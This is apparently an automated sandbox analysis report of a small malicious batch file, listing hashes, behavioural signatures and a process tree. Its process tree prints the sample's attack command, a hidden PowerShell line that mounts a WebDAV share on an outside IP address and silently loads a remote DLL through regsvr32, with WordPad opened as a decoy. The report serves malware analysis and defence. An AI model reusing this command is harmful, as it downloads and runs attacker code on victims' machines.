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Analysis
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max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
19/07/2024, 06:36
Static task
static1
Behavioral task
behavioral1
Sample
27431290512703010994.bat
Resource
win7-20240704-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
27431290512703010994.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
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Target
27431290512703010994.bat
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Size
2KB
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MD5
fd53bd6629e0f28f82b35d1670ca9b97
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SHA1
941a13d8534b52c60e1a508a70be0b9fa9851473
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SHA256
c888c0ad843266b7dfc42c904b3d0ca76dc5ee28bf1ce297a8b2f41ae8363933
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SHA512
125d7fa1a7801dcacd7c24b6510ce5b6d918c3cd807bdffdc2865025438a225fc9e4817c6cee30e3a7f54db06570094d95f2cded6dcdeaf8e9d4a7d73963346d
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1184 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1184 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2732 wordpad.exe 2732 wordpad.exe 2732 wordpad.exe 2732 wordpad.exe 2732 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1188 wrote to memory of 2732 1188 cmd.exe 31 PID 1188 wrote to memory of 2732 1188 cmd.exe 31 PID 1188 wrote to memory of 2732 1188 cmd.exe 31 PID 1188 wrote to memory of 1184 1188 cmd.exe 32 PID 1188 wrote to memory of 1184 1188 cmd.exe 32 PID 1188 wrote to memory of 1184 1188 cmd.exe 32 PID 1184 wrote to memory of 2480 1184 powershell.exe 34 PID 1184 wrote to memory of 2480 1184 powershell.exe 34 PID 1184 wrote to memory of 2480 1184 powershell.exe 34 PID 1184 wrote to memory of 2536 1184 powershell.exe 35 PID 1184 wrote to memory of 2536 1184 powershell.exe 35 PID 1184 wrote to memory of 2536 1184 powershell.exe 35 PID 1184 wrote to memory of 2536 1184 powershell.exe 35 PID 1184 wrote to memory of 2536 1184 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\27431290512703010994.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2732
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2480
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll3⤵PID:2536
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